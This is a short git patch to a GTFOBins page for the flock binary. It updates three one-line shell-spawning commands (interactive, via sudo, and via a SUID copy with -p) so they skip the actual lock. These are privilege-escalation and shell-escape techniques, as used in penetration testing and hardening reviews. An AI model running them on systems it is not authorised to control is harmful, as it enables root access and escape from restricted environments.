From 669f8f0373367c25acb4f96111c68ef8a42259e6 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Mon, 4 Jun 2018 12:46:28 +0200 Subject: [PATCH] Inhibit actual locking in flock --- _gtfobins/flock.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/_gtfobins/flock.md b/_gtfobins/flock.md index a49cef1..da940ed 100644 --- a/_gtfobins/flock.md +++ b/_gtfobins/flock.md @@ -1,9 +1,9 @@ --- functions: execute-interactive: - - code: flock /tmp /bin/sh + - code: flock -u / /bin/sh sudo-enabled: - - code: sudo flock /tmp /bin/sh + - code: sudo flock -u / /bin/sh suid-enabled: - - code: ./flock /tmp /bin/sh -p + - code: ./flock -u / /bin/sh -p ---